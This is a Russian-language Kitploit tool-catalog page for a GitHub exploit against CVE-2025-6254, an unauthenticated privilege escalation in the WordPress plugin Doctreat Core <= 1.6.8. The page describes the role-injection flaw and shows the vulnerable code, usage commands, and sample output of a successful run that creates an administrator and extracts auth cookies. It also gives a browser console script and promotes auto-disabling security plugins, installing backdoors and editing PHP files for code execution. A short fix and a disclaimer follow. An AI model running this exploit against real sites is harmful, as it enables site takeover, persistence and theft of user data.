Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-6254 — CVE-2025-6254 — Doctreat Core <= 1.6.8 — 未认证权限提升 | Kitploit
Инструменты/GitHubGitHub/yucaerin/cve-2025-6254
Повышение привилегийГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьCTFТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
22 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
yucaerin/cve-2025-6254

CVE-2025-6254

CVE-2025-6254 — Doctreat Core <= 1.6.8 — 未认证权限提升

Репозиторий

CVE-2025-6254 — Doctreat Core <= 1.6.8 — Неаутентифицированное повышение привилегий через внедрение роли

🔥 Краткое описание уязвимости

Плагин WordPress Doctreat Core версий <= 1.6.8 подвержен уязвимости неаутентифицированного повышения привилегий. Эта критическая ошибка позволяет неаутентифицированным злоумышленникам создать новую учётную запись Администратора напрямую через AJAX-конечную точку регистрации плагина.

Уязвимость возникает из-за функции doctreat_process_registration() в файле hooks/hooks.php, которая принимает параметр user_type напрямую из POST-данных, отправленных пользователем, и передаёт его в качестве параметра role в wp_update_user() без надлежащей проверки прав или белого списка. Плагин применяет только esc_sql() (который не проверяет роли) — он никогда не проверяет, является ли роль безопасной для публичной регистрации.

Ключевое открытие: Nonce, используемый Doctreat (scripts_vars.ajax_nonce), раскрывается на любой публичной странице активной темы Doctreat. Параметр user_type, который обычно определяет, регистрируется ли пользователь как "doctors", "hospitals" или "regular_users", может быть переопределён через POST параметром user_type=administrator — и это значение напрямую передаётся в качестве параметра role WordPress.

🔍 Затронутый плагин

  • Название плагина: Doctreat Core
  • Затронутая версия: <= 1.6.8
  • Тип уязвимости: Неаутентифицированное повышение привилегий через внедрение роли
  • Идентификатор CVE: CVE-2025-6254
  • Оценка CVSS: 9,8 (Критический)
  • CWE: CWE-269 — Неправильное управление привилегиями
  • Воздействие: Полный захват сайта — создание учётной записи администратора

🧨 Что могут сделать злоумышленники

🧪 Возможности эксплойта

  • 🔓 Не требуется аутентификация
  • 📝 Работает через AJAX-конечную точку регистрации
  • 🎯 Нацелен на AJAX-конечную точку /wp-admin/admin-ajax.php?action=doctreat_process_registration
  • 🧠 Внедрение роли — отправляет user_type=administrator вместе с обычными полями регистрации
  • 🌐 Автоматическое извлечение nonce — извлекает ajax_nonce с публичных страниц темы Doctreat
  • 🔐 Обходит проверку nonce — использует легитимный nonce, раскрытый скриптами темы
  • 🔗 Автоопределение http/https — не нужно указывать протокол
  • 🔒 Поддержка небезопасных SSL-сертификатов — работает с самоподписанными/недействительными сертификатами
  • 🎛️ Автоматическое отключение всех плагинов — 3 метода: массовое действие plugins.php, REST API, admin-ajax.php
  • 🍪 Извлечение куки — выводит куки аутентификации WordPress для использования в браузере/curl
  • 🧠 Скрипт для консоли JavaScript — вставьте в DevTools браузера для мгновенного доступа администратора

🧠 Уязвимый код

root@kitploit:~
// doctreat_core/hooks/hooks.php ~ строка 296
wp_update_user( array(
    'ID' => esc_sql( $user_identity ),
    'role' => esc_sql( $user_type ),  // ← user_type из $_POST через extract($_POST)
    'user_status' => 0
) );
root@kitploit:~
// ~ строка 311 — Устанавливает _is_verified после регистрации
update_user_meta( $user_identity, '_is_verified', 'no' );

Примечание: На целях с настройками верификации по умолчанию ($verify_user пусто или равно 'remove') пользователь автоматически верифицируется и получает немедленный доступ администратора. На целях с верификацией по email или одобрением администратора потребуются дополнительные шаги верификации.

🚀 Использование

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080

Вход с существующими учётными данными (получение куки)

root@kitploit:~
python3 CVE-2025-6254_exploit.py target.com username password

Пример полного вывода

root@kitploit:~
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator

[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR

[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}

[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access

[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!

Скрипт для консоли JavaScript

После запуска эксплойта скопируйте сгенерированный JavaScript и вставьте его в консоль DevTools вашего браузера (F12):

root@kitploit:~
(function() {
    'use strict';
    console.log('[*] Starting WordPress admin access...');
    // ... cookies set automatically ...
    window.location.href = 'https://target.com/wp-admin/';
})();

Требования

  • Python 3.6+
  • Библиотека requests (pip install requests)
  • Цель должна иметь:
    • Активную тему Doctreat (для извлечения nonce)
    • Активированный плагин Doctreat Core <= 1.6.8
    • Включённую регистрацию пользователей

🛠 Рекомендации по исправлению

root@kitploit:~
// БЕЗОПАСНО: Белый список только безопасных ролей для публичной регистрации
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
    $user_type = 'regular_users';  // ← Отклонить ВСЕ опасные роли
}
  • Внедрите строгий белый список ролей для регистрации
  • Добавьте проверки current_user_can('create_users') для привилегированных ролей
  • Проверяйте user_type перед передачей в wp_update_user()
  • Рассмотрите возможность полного удаления назначения ролей из публичной регистрации

🧠 Исследователь

  • Заслуга: Friderika Baranyai (Foxyyy)

📚 Ссылки

  • Уведомление Wordfence

🔒 Отказ от ответственности

Эта информация предоставлена только для образовательных и авторизованных тестов на проникновение. Несанкционированная эксплуатация компьютерных систем является незаконной и неэтичной. Всегда получайте явное письменное разрешение перед тестированием любой цели, которая вам не принадлежит.

Скачать инструмент
ВозможностьВоздействие
🔑 Создать учётную запись администратора без входаПолный захват сайта
🎛️ Автоматически отключить все плагины безопасностиОбход защиты
💉 Редактировать PHP-файлы плагинов/темУдалённое выполнение кода
🕳️ Установить скрытые бэкдорыПостоянный доступ
👥 Просмотреть все данные пользователейНарушение конфиденциальности